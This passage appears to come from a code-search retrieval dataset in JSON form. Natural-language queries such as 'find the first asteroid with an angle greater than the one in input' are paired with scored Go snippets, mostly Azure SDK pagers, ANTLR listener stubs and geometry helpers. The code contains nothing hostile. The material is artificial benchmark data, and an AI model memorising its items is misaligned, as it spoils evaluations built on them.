false\n\t}\n\tresult, err := p.client.listResourceGroupLevelByRegionHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "4f073f0c2bd658e32428218135d8dd83", "score": "0.49972898", "text": "func (s *BaseGoParserListener) EnterStatement(ctx *StatementContext) {}", "title": "" }, { "docid": "380bee85398724eaf9d8e8b9afd40e81", "score": "0.49965063", "text": "func (s *BasePainlessParserListener) EnterStatement(ctx *StatementContext) {}", "title": "" }, { "docid": "44ef479ac6654de66d86e4533d375c32", "score": "0.4967219", "text": "func (p *SQLVirtualMachinesClientListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.ListResult.NextLink == nil || len(*p.current.ListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "30e2e81495054014dc1c0a2616447b64", "score": "0.49669805", "text": "func (s *BaseCobol85Listener) EnterReportDescription(ctx *ReportDescriptionContext) {}", "title": "" }, { "docid": "2e045462c98ead88bdd8659ec1eec6d9", "score": "0.49614096", "text": "func (s *BaseJavaScriptParserListener) EnterYieldStatement(ctx *YieldStatementContext) {}", "title": "" }, { "docid": "d965a5b77ccc287f6276b85947320d93", "score": "0.4957117", "text": "func (s *Basetptp_v7_0_0_0Listener) EnterNumber(ctx *NumberContext) {}", "title": "" }, { "docid": "5508f4b5420e694b83059bc41cccf54f", "score": "0.49558643", "text": "func (p *CustomEntityStoreAssignmentsListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.CustomEntityStoreAssignmentsListResult.NextLink == nil || len(*p.current.CustomEntityStoreAssignmentsListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = p.client.listByResourceGroupHandleError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "e6990d0fee0049851106e6db0628c770", "score": "0.4947496", "text": "func (s *BaseCobol85Listener) EnterContinueStatement(ctx *ContinueStatementContext) {}", "title": "" }, { "docid": "56e9195c20429abc439db9cbda1ea193", "score": "0.4946686", "text": "func (s *BaseCobol85Listener) EnterReportGroupDescriptionEntryFormat3(ctx *ReportGroupDescriptionEntryFormat3Context) {\n}", "title": "" }, { "docid": "23f45edb015dc07b8a8500bd06876acb", "score": "0.49404347", "text": "func (s *MyListener) EnterIterationStatement(ctx *IterationStatementContext) {\r\n\tlog.Print(\"EnterIterationStatement\")\r\n}", "title": "" }, { "docid": "96fb7a4e0ee1157fc6d4746579ff31f3", "score": "0.49356768", "text": "func (s *BaseJavaScriptParserListener) EnterBreakStatement(ctx *BreakStatementContext) {}", "title": "" }, { "docid": "d1bcd84ffdd3f8b90ab519164dd21d4c", "score": "0.49302197", "text": "func (s *BaseSHARCParserListener) EnterR11_8(ctx *R11_8Context) {}", "title": "" }, { "docid": "a5e5d5dcaa9ee9c22301566e02e63696", "score": "0.4923714", "text": "func (s *BasescottyListener) EnterNumber(ctx *NumberContext) {}", "title": "" }, { "docid": "7c2bb97a604f7e05c1792ea8286edb5f", "score": "0.49154186", "text": "func (p *ClientListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.ResourceListResult.NextLink == nil || len(*p.current.ResourceListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "28ce55ee65b8e2e72ada32f91dcbf03b", "score": "0.49119118", "text": "func (s *BaseSHARCParserListener) EnterStatement(ctx *StatementContext) {}", "title": "" }, { "docid": "917c61c2c39f801f344a9be922fdc738", "score": "0.4906445", "text": "func (s *BasehttpListener) EnterRequest_line(ctx *Request_lineContext) {}", "title": "" }, { "docid": "ed9438660eaaaade9bed7159895124e2", "score": "0.49040428", "text": "func (s *BaseJavaScriptParserListener) EnterContinueStatement(ctx *ContinueStatementContext) {}", "title": "" }, { "docid": "bf2bf104f65dce5536127c7dd9de1872", "score": "0.49016815", "text": "func (s *BaseExprListener) EnterStart(ctx *StartContext) {}", "title": "" }, { "docid": "bf2bf104f65dce5536127c7dd9de1872", "score": "0.49016815", "text": "func (s *BaseExprListener) EnterStart(ctx *StartContext) {}", "title": "" }, { "docid": "b61a4d779172cc2d4f4e464690f06409", "score": "0.4891419", "text": "func (s *BaseExpressionListener) EnterStart(ctx *StartContext) {}", "title": "" }, { "docid": "ea966d2038353f0efdf56187a5d890cb", "score": "0.4890865", "text": "func (s *BaseJavaScriptParserListener) EnterYieldExpression(ctx *YieldExpressionContext) {}", "title": "" }, { "docid": "c0b3988f87de35c4835b9ca262659bc9", "score": "0.48847294", "text": "func (s *BaseXPath31Listener) EnterXpath(ctx *XpathContext) {}", "title": "" }, { "docid": "1a09bd8082bad6b74f2c562d9e150fad", "score": "0.48833978", "text": "func (p *AutomationsListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.AutomationList.NextLink == nil || len(*p.current.AutomationList.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = p.client.listByResourceGroupHandleError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "fb60644e5c06cb3619be7245e21ab3c0", "score": "0.48832944", "text": "func (s *BasePainlessParserListener) EnterIneach(ctx *IneachContext) {}", "title": "" }, { "docid": "5e4c11e695f9714b0c2e7e4f07d214f6", "score": "0.48809853", "text": "func (s *BaseCobol85Listener) EnterWriteAdvancingPage(ctx *WriteAdvancingPageContext) {}", "title": "" }, { "docid": "ea23d6969a36d85fc007e6d222bf71c3", "score": "0.48732072", "text": "func (s *BaseJavaScriptParserListener) EnterDebuggerStatement(ctx *DebuggerStatementContext) {}", "title": "" }, { "docid": "affbb46d1b5461be0c46e26e11748c9a", "score": "0.48717332", "text": "func (p *AvailabilityGroupListenersClientListByGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.AvailabilityGroupListenerListResult.NextLink == nil || len(*p.current.AvailabilityGroupListenerListResult.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "ad2008b575d0339e040457e6befabf92", "score": "0.4868391", "text": "func (s *BaseCobol85Listener) EnterReturnStatement(ctx *ReturnStatementContext) {}", "title": "" }, { "docid": "b54d30652e03b07f1303f4ba0c4a9f49", "score": "0.48637938", "text": "func (s *BasePainlessParserListener) EnterEach(ctx *EachContext) {}", "title": "" }, { "docid": "12963b740da4140998338c4e0448d62c", "score": "0.4863648", "text": "func (p *LabsClientListByResourceGroupPager) NextPage(ctx context.Context) bool {\n\tvar req *policy.Request\n\tvar err error\n\tif !reflect.ValueOf(p.current).IsZero() {\n\t\tif p.current.PagedLabs.NextLink == nil || len(*p.current.PagedLabs.NextLink) == 0 {\n\t\t\treturn false\n\t\t}\n\t\treq, err = p.advancer(ctx, p.current)\n\t} else {\n\t\treq, err = p.requester(ctx)\n\t}\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tresp, err := p.client.pl.Do(req)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tif !runtime.HasStatusCode(resp, http.StatusOK) {\n\t\tp.err = runtime.NewResponseError(resp)\n\t\treturn false\n\t}\n\tresult, err := p.client.listByResourceGroupHandleResponse(resp)\n\tif err != nil {\n\t\tp.err = err\n\t\treturn false\n\t}\n\tp.current = result\n\treturn true\n}", "title": "" }, { "docid": "1eb70f93be67871b176e0a85aa498d3c", "score": "0.48568097", "text": "func (s *BaseCobol85Listener) EnterEntryStatement(ctx *EntryStatementContext) {}", "title": "" } ]
39fe5ac28e6120d780c7a99dfe0c732d
find the first asteroid with an angle greater than the one in input
[ { "docid": "1058f2690fdfa4f4980c7f9f65fc68d0", "score": "0.565756", "text": "func pickOne(asteroids []C, prev C) C {\n\tfor _, a := range asteroids {\n\t\tif a.angle() > prev.angle() {\n\t\t\treturn a\n\t\t}\n\t}\n\treturn Null\n}", "title": "" } ]
[ { "docid": "810bbfcafb2c82e8c40470e054c48cff", "score": "0.50158334", "text": "func angle(ux, uy, vx, vy float64) float64 {\n\tuNorm := math.Sqrt(ux*ux + uy*uy)\n\tvNorm := math.Sqrt(vx*vx + vy*vy)\n\tnorm := uNorm * vNorm\n\tcos := (ux*vx + uy*vy) / norm\n\tret := 0.0\n\tif cos <= -1 {\n\t\tret = math.Pi\n\t} else if cos >= +1 {\n\t\tret = 0\n\t} else {\n\t\tret = math.Acos(cos)\n\t}\n\tif ux*vy < uy*vx {\n\t\treturn -ret\n\t}\n\treturn +ret\n}", "title": "" }, { "docid": "3564154ec57394d94970d2970f1f8df7", "score": "0.48436132", "text": "func (s Signature) position(idx int) (bool, int, int) {\n\tvar min, max int\n\tf := s[idx]\n\tif f.Orientation() >= SUCC {\n\t\tfor j := len(s) - 1; j >= 0; j-- {\n\t\t\tf = s[j]\n\t\t\tif f.Orientation() == EOF {\n\t\t\t\tmin, max = 0, 0\n\t\t\t}\n\t\t\tif j == idx {\n\t\t\t\treturn false, addWilds(min, f.Min), addWilds(max, f.Max)\n\t\t\t}\n\t\t\tminl, maxl := f.Length()\n\t\t\tmin, max = addWilds(min, f.Min, minl), addWilds(max, f.Max, maxl)\n\t\t}\n\t}\n\tfor i, f := range s {\n\t\tif f.Orientation() == BOF {\n\t\t\tmin, max = 0, 0\n\t\t}\n\t\tif i == idx {\n\t\t\treturn true, addWilds(min, f.Min), addWilds(max, f.Max)\n\t\t}\n\t\tminl, maxl := f.Length()\n\t\tmin, max = addWilds(min, f.Min, minl), addWilds(max, f.Max, maxl)\n\t}\n\t// should not get here\n\treturn false, -1, -1\n}", "title": "" }, { "docid": "1e343e5342e4315314d9b4979485afa1", "score": "0.4784699", "text": "func (a asteroidMap) shootAsteroids() {\n\tvectors := a.newVectors()\n\n\t// Order the gradients by angle to \"rotate\" around all the angles\n\tvar rotateGrads []gradient\n\tfor grad := range vectors {\n\t\trotateGrads = append(rotateGrads, grad)\n\t}\n\tsort.Slice(rotateGrads, func(i, j int) bool {\n\t\treturn rotateGrads[i].angleRads < rotateGrads[j].angleRads\n\t})\n\n\tnoShotsFired := false\n\tshotCounter := 0\n\tfor !noShotsFired {\n\t\tnoShotsFired = true\n\t\tfor _, grad := range rotateGrads {\n\t\t\t// Move to next line if no more asteroids left on that line\n\t\t\tif len(vectors[grad]) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Shoot asteroid\n\t\t\tnoShotsFired = false\n\t\t\tshotCounter++\n\t\t\ta.set(vectors[grad][0].mapCoord, shotCounter)\n\t\t\tfmt.Printf(\"asteroid shot %d hits asteroid %v\\n\", shotCounter, vectors[grad][0].mapCoord)\n\t\t\tvectors[grad] = vectors[grad][1:]\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2375d52cdfbc8fa63d12e2679c44dc42", "score": "0.47812152", "text": "func (g *OWImg) Holes() int {\n\n if !g.gotimg || !g.gotfrom || !g.gotto {\n return 0\n }\n\n hole:=false\n cnt:=0\n for x:=0;x+g.pos.x<g.pos.x2;x++ {\n if g.At(x,0).isAbove() {\n if hole {\n cnt++\n }\n hole=false\n } else {\n hole=true\n }\n }\n return cnt\n}", "title": "" }, { "docid": "427ecff26074dba723f04ccb4195054e", "score": "0.4778877", "text": "func (a asteroidMap) highestAsteroidValue() coord {\n\tmost := 0\n\tvar mostX, mostY int\n\tfor y, row := range a.asteroids {\n\t\tfor x, val := range row {\n\t\t\tif most < val {\n\t\t\t\tmostX, mostY = x, y\n\t\t\t\tmost = val\n\t\t\t}\n\t\t}\n\t}\n\treturn coord{x: mostX, y: mostY}\n}", "title": "" }, { "docid": "a73b31ef45ddd1c975c9f6820e999ad4", "score": "0.4756361", "text": "func findHunter(world *World) Point {\n for y := 0; y < world.sizey; y++ {\n for x := 0; x < world.sizex; x++ {\n if world.squares[y][x].hasHunter {\n return Point {x, y} // Found\n }\n }\n }\n return Point {-1, -1} // Not found\n}", "title": "" }, { "docid": "17a54ee0fdc52395eed7770309f88576", "score": "0.47546953", "text": "func (finger *Finger) getAngle() int {\n\n\tif !finger.hasPosition() {\n\t\treturn 0\n\t}\n\n\tdx := finger.LastX - finger.FirstX\n\tdy := -(finger.LastY - finger.FirstY)\n\n\tangle := int(math.Atan2(float64(dy), float64(dx)) * 180.0 / math.Pi)\n\n\tif angle < 0 {\n\t\treturn 360 + angle\n\t}\n\treturn angle\n\n}", "title": "" }, { "docid": "316be6bcdd7b870f8c5e9cd6e24cd38e", "score": "0.47255245", "text": "func asteroidCollision(asteroids []int) []int {\n \n}", "title": "" }, { "docid": "96ee585d973d867bf8fd96d2b6def990", "score": "0.4678222", "text": "func findQuadrantIndex(star *Star, center OrderedPair) int {\n\n\t// find center, make center 0,0 by dividing\n\tif star.position.x <= center.x && star.position.y <= center.y {\n\t\t// bottom left SW\n\t\treturn 2\n\t} else if star.position.x <= center.x && star.position.y >= center.y {\n\t\t// top left NW\n\n\t\treturn 0\n\t} else if star.position.x >= center.x && star.position.y <= center.y {\n\t\t// bottom right SE\n\n\t\treturn 3\n\t} else if star.position.x >= center.x && star.position.y >= center.y {\n\t\t// top right NE\n\n\t\treturn 1\n\t}\n\treturn -1\n\n}", "title": "" }, { "docid": "a177147582db6de07fe31f287e2308c3", "score": "0.46557355", "text": "func MinimalAngleMapping(angle1, angle2 float64) (float64, float64) {\n\ttype p struct {\n\t\ta1, a2 float64\n\t}\n\tangles := []p{\n\t\t{angle1, angle2},\n\t\t{angle1 + 2*math.Pi, angle2},\n\t\t{angle1 - 2*math.Pi, angle2},\n\t\t{angle1, angle2 + 2*math.Pi},\n\t\t{angle1, angle2 - 2*math.Pi},\n\t}\n\tminDiff := 99999.0\n\ta1 := 0.0\n\ta2 := 0.0\n\tfor i := 0; i < len(angles); i++ {\n\t\tdiff := math.Abs(angles[i].a2 - angles[i].a1)\n\t\tif diff < minDiff {\n\t\t\tminDiff = diff\n\t\t\ta1 = angles[i].a1\n\t\t\ta2 = angles[i].a2\n\t\t}\n\t}\n\treturn a1, a2\n}", "title": "" }, { "docid": "97f932e0f2609608a5a25c8b393ff85b", "score": "0.45494", "text": "func FmtAngle(a unit.Angle) *Angle { return &Angle{Angle: a} }", "title": "" }, { "docid": "b71ee044e763dd3b3b6fae68a4253a89", "score": "0.45475665", "text": "func Regularize(roll, pitch, heading float64) (float64, float64, float64) {\n\tfor pitch > Pi {\n\t\tpitch -= 2*Pi\n\t}\n\tfor pitch <= -Pi {\n\t\tpitch += 2*Pi\n\t}\n\tif pitch > Pi / 2 {\n\t\tpitch = Pi - pitch\n\t\troll -= Pi\n\t\theading += Pi\n\t}\n\tif pitch < -Pi / 2 {\n\t\tpitch = -Pi - pitch\n\t\troll -= Pi\n\t\theading += Pi\n\t}\n\n\tfor roll > Pi {\n\t\troll -= 2*Pi\n\t}\n\tfor roll < -Pi {\n\t\troll += 2*Pi\n\t}\n\n\tfor heading >= 2*Pi {\n\t\theading -= 2*Pi\n\t}\n\tfor heading < 0 {\n\t\theading += 2*Pi\n\t}\n\treturn roll, pitch, heading\n}", "title": "" }, { "docid": "c7e8bff3b9fa1560067d7096b9b0e4e5", "score": "0.45433083", "text": "func TestMinSepRect(t *testing.T) {\n\tsep, err := angle.MinSepRect(jd1, jd3, r1, d1, r2, d2)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tanswer := 224 * math.Pi / 180 / 3600 // on p. 111\n\tif math.Abs((sep-answer)/sep) > 1e-2 {\n\t\tt.Fatal(base.NewFmtAngle(sep))\n\t}\n\n}", "title": "" }, { "docid": "3ded48b88ea60505af78824880ee48f0", "score": "0.4532244", "text": "func findPattern(ctx context.Context, app *cca.App) (*image.Rectangle, error) {\n\tframe, err := app.PreviewFrame(ctx)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get preview frame\")\n\t}\n\tdefer frame.Release(ctx)\n\n\t// Find the coordinates of top-left corner.\n\tminPt, err := frame.Find(ctx, &cca.FirstBlack)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Find the coordinates of bottom-right corner.\n\tmaxPt, err := frame.Find(ctx, &cca.LastBlack)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &image.Rectangle{*minPt, *maxPt}, nil\n}", "title": "" }, { "docid": "fe65d8bc6b5885e0b901857e302cbff2", "score": "0.45088136", "text": "func (g *grid) getNext(tarDist int) ([]int, []int) {\n\n\txout := []int{}\n\tyout := []int{}\n\n\tmin := 0\n\tymax := len(g.squares) - 1\n\txmax := len(g.squares[min]) - 1\n\n\t//for i, _ := range xs {\n\tfor i, _ := range g.squares {\n\n\t\tfor j, _ := range g.squares[i] {\n\n\t\t\tif g.squares[i][j].distance == tarDist {\n\n\t\t\t\t//one above\n\t\t\t\tif i > min {\n\t\t\t\t\tif g.squares[i-1][j].passable && g.squares[i-1][j].distance == -1 {\n\t\t\t\t\t\tyout = append(yout, i-1)\n\t\t\t\t\t\txout = append(xout, j)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//one below\n\t\t\t\tif i < ymax {\n\t\t\t\t\tif g.squares[i+1][j].passable && g.squares[i+1][j].distance == -1 {\n\t\t\t\t\t\tyout = append(yout, i+1)\n\t\t\t\t\t\txout = append(xout, j)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//one left\n\t\t\t\tif j > min {\n\t\t\t\t\tif g.squares[i][j-1].passable && g.squares[i][j-1].distance == -1 {\n\t\t\t\t\t\tyout = append(yout, i)\n\t\t\t\t\t\txout = append(xout, j-1)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//one right\n\t\t\t\tif j < xmax {\n\t\t\t\t\tif g.squares[i][j+1].passable && g.squares[i][j+1].distance == -1 {\n\t\t\t\t\t\tyout = append(yout, i)\n\t\t\t\t\t\txout = append(xout, j+1)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn xout, yout\n\n}", "title": "" }, { "docid": "4b9e1ccced6dd418731625cf66596b38", "score": "0.44909957", "text": "func (bounds Cuboid) getIndex(x, y, z float64) int {\n\tidx := 0\n\tif x > (bounds.X2-bounds.X1)/2.0 + bounds.X1 {\n\t\tidx = idx | 1\n\t}\n\tif y > (bounds.Y2-bounds.Y1)/2.0 + bounds.Y1 {\n\t\tidx = idx | 2\n\t}\n\tif z > (bounds.Z2-bounds.Z1)/2.0 + bounds.Z1 {\n\t\tidx = idx | 4\n\t}\n\treturn idx\n}", "title": "" }, { "docid": "f7fe5d531affed4e4dc9de55ddd1f037", "score": "0.44563535", "text": "func (f Function) At(x float64) float64 {\n\tX, Y := f.X, f.Y\n\ti, j := 0, len(X)\n\tfor i < j {\n\t\th := int(uint(i+j) >> 1)\n\t\tif X[h] < x {\n\t\t\ti = h + 1\n\t\t} else {\n\t\t\tj = h\n\t\t}\n\t}\n\tif i == 0 {\n\t\tif len(X) > 0 && x < X[0] {\n\t\t\treturn 0\n\t\t}\n\t\tif len(X) > 0 && x == X[0] {\n\t\t\treturn Y[0]\n\t\t}\n\t\treturn 0\n\t}\n\tif i == len(X) {\n\t\treturn 0\n\t}\n\tw := (x - X[i-1]) / (X[i] - X[i-1])\n\treturn (1-w)*Y[i-1] + w*Y[i]\n}", "title": "" }, { "docid": "ff338801fba3010332123b69f84fe7c5", "score": "0.44562966", "text": "func (field *asteroidField) get(point image.Point) bool {\n\tif !point.In(field.bounds()) {\n\t\treturn false\n\t}\n\treturn field.asteroids[point.Y][point.X]\n}", "title": "" }, { "docid": "8423373b0b02127054cb57e4c86317b6", "score": "0.44356233", "text": "func boing(av realPoint, ln line) realPoint {\n\tf := ln.p1.Sub(ln.p0)\n\td := math.Atan2(float64(f.Y), float64(f.X))*2 - math.Atan2(av.y, av.x)\n\tp := realPoint{math.Cos(d), math.Sin(d)}\n\n\treturn p\n}", "title": "" }, { "docid": "16858fff56ad157ba225f08ee4b38b46", "score": "0.4409978", "text": "func orientation(a, b, p geometry.Point2D) Orientation {\n\n\t// here, we are going to utilize cross-product from vector algebra\n\t// which has a neat property that helps to determine direction of a point from a line segment\n\n\t// If the sign of this cross product is negative, then is counterclockwise with respect to [a,b],\n\t// A positive cross product indicates a clockwise orientation and a right turn.\n\t// A cross product of 0 means that points are collinear.\n\n\t// http://mathworld.wolfram.com/CrossProduct.html (8) and (9) for Tex notation\n\t// http://staff.ustc.edu.cn/~csli/graduate/algorithms/book6/888_a.gif\n\n\tdet := (b.Y-a.Y)*(p.X-b.X) - (b.X-a.X)*(p.Y-b.Y)\n\tif math.Abs(det) < geometry.EPS {\n\t\treturn Collinear\n\t}\n\n\tif det > 0 {\n\t\treturn Clockwise\n\t}\n\n\treturn CounterClockwise\n\n}", "title": "" }, { "docid": "cfb970bd1b5848c5a9fb71f3b19bbdc8", "score": "0.4400114", "text": "func (n *ngon) inside(p ga.Vec2d) bool {\n\tR := mat2.Rotation(n.orientation)\n\tM := R\n\tfor i := range n.points {\n\t\ta := n.points[i]\n\t\tb := n.points[(i+1)%len(n.points)]\n\n\t\ta = mat2.Apply(&M, a)\n\t\tb = mat2.Apply(&M, b)\n\n\t\tsign := (b.X-a.X)*(p.Y-a.Y) - (b.Y-a.Y)*(p.X-a.X)\n\t\tif sign > 0 {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "de81aa5fbd19f03b92e7f96ce326a15e", "score": "0.43956348", "text": "func containerWithMostWaterArea(heights []int) int{\n\nmaxArea := 0\n\nleftIndex := 0\nrightIndex := len(heights)-1\n\nfor leftIndex < rightIndex{\n\n\tmaxArea = max(maxArea, (min(heights[leftIndex], heights[rightIndex])* (rightIndex-leftIndex)))\n\n\tif heights[leftIndex] < heights[rightIndex]{\n\t\tleftIndex++\n\t}else{\n\t\trightIndex--\n\t}\n\n}\n\nreturn maxArea\n\n}", "title": "" }, { "docid": "2aad582fe0b7fc61d7160950d9e3c8a0", "score": "0.43806654", "text": "func Square(position int) (uint64, error) {\n\tif position < 1 || position > 64 {\n\t\treturn 0, errors.New(\"position not valid\")\n\t}\n\tgrains := uint64(math.Pow(2, float64(position-1)))\n\treturn grains, nil\n}", "title": "" }, { "docid": "0ac7973564947578c7d83ab4f29ed52f", "score": "0.437973", "text": "func newAsteroidField(input string) (*asteroidField, error) {\n\t// okay... how do we store this\n\tasteroids := make([][]bool, 0) // true: asteroid present; false: no asteroid\n\t// asteroids[2][3] or asteroids(3,2) represents the 3rd asteroid in the 2nd row (counting from row 0, row 1,...)\n\tvar fieldWidth, fieldHeight int // width and height as observed.\n\t// we know the input is 26x26 though... but we want to support other sizes.\n\tfor _, line := range aoc.SplitLines(input) {\n\t\tif fieldWidth == 0 {\n\t\t\tfieldWidth = len(line)\n\t\t}\n\t\tif fieldWidth != len(line) {\n\t\t\treturn nil, fmt.Errorf(\"width of %v should b %v\", line, fieldWidth)\n\t\t}\n\t\tasteroids = append(asteroids, make([]bool, fieldWidth))\n\t\tfor ii := range asteroids[fieldHeight] {\n\t\t\tif line[ii] == '#' {\n\t\t\t\t// default is false.\n\t\t\t\tasteroids[fieldHeight][ii] = true\n\t\t\t}\n\t\t}\n\t\tfieldHeight++\n\t}\n\t// check if asteroids is valid\n\tif fieldHeight == 0 {\n\t\treturn nil, errors.New(\"height is zero\")\n\t}\n\tif fieldWidth == 0 {\n\t\treturn nil, errors.New(\"width is zero\")\n\t}\n\treturn &asteroidField{asteroids: asteroids, width: fieldHeight, height: fieldHeight}, nil\n}", "title": "" }, { "docid": "1f5506348e122779a6b5a94fb684646c", "score": "0.43672848", "text": "func (this Cuboid) nearestSide(x, y, z float64) float64 {\n\tv1 := math.Abs(x-this.X1)\n\tv1 = math.Min(v1, math.Abs(x-this.X2))\n\n\tv2 := math.Abs(y-this.Y1)\n\tv2 = math.Min(v2, math.Abs(y-this.Y2))\n\n\tv3 := math.Abs(z-this.Z1)\n\tv3 = math.Min(v3, math.Abs(z-this.Z2))\n\n\treturn math.Min(v1, math.Min(v2, v3))\n}", "title": "" }, { "docid": "ace582bfaa9028f988bfd4522aaeb7be", "score": "0.43633315", "text": "func Polar(v image.Point) (r int, angle int32) {\n\tif v.X < 0 {\n\t\tv.X = -v.X\n\t\tv.Y = -v.Y\n\t\tangle = -FullAngle / 2\n\t}\n\tvar theta int32\n\tfor i, th := range &cordicThs {\n\t\tround := 1 << uint(i-1)\n\t\tdx := (v.Y + round) >> uint(i)\n\t\tdy := (v.X + round) >> uint(i)\n\t\tif v.Y <= 0 {\n\t\t\tv.X -= dx\n\t\t\tv.Y += dy\n\t\t\ttheta -= th\n\t\t} else {\n\t\t\tv.X += dx\n\t\t\tv.Y -= dy\n\t\t\ttheta += th\n\t\t}\n\t}\n\tconst (\n\t\troundK = 1 << (fracK - 1)\n\t\troundTh = 1 << (fracTh - 1)\n\t)\n\tangle += (theta + roundTh) >> fracTh\n\tr = int((int64(v.X)*cordicK + roundK) >> fracK)\n\treturn\n}", "title": "" }, { "docid": "d084c8613c29411121885fd14af3f067", "score": "0.4340508", "text": "func robustIncircle(x1, y1, x2, y2, x3, y3, x, y *big.Rat) RelativePosition {\n\tm := []*big.Rat{\n\t\tx1, y1, bigAdd(bigMul(x1, x1), bigMul(y1, y1)), one,\n\t\tx2, y2, bigAdd(bigMul(x2, x2), bigMul(y2, y2)), one,\n\t\tx3, y3, bigAdd(bigMul(x3, x3), bigMul(y3, y3)), one,\n\t\tx, y, bigAdd(bigMul(x, x), bigMul(y, y)), one,\n\t}\n\t// det := m[0][3]*m[1][2]*m[2][1]*m[3][0] - m[0][2]*m[1][3]*m[2][1]*m[3][0] -\n\t//\tm[0][3]*m[1][1]*m[2][2]*m[3][0] + m[0][1]*m[1][3]*m[2][2]*m[3][0] +\n\t//\tm[0][2]*m[1][1]*m[2][3]*m[3][0] - m[0][1]*m[1][2]*m[2][3]*m[3][0] -\n\t//\tm[0][3]*m[1][2]*m[2][0]*m[3][1] + m[0][2]*m[1][3]*m[2][0]*m[3][1] +\n\t//\tm[0][3]*m[1][0]*m[2][2]*m[3][1] - m[0][0]*m[1][3]*m[2][2]*m[3][1] -\n\t//\tm[0][2]*m[1][0]*m[2][3]*m[3][1] + m[0][0]*m[1][2]*m[2][3]*m[3][1] +\n\t//\tm[0][3]*m[1][1]*m[2][0]*m[3][2] - m[0][1]*m[1][3]*m[2][0]*m[3][2] -\n\t//\tm[0][3]*m[1][0]*m[2][1]*m[3][2] + m[0][0]*m[1][3]*m[2][1]*m[3][2] 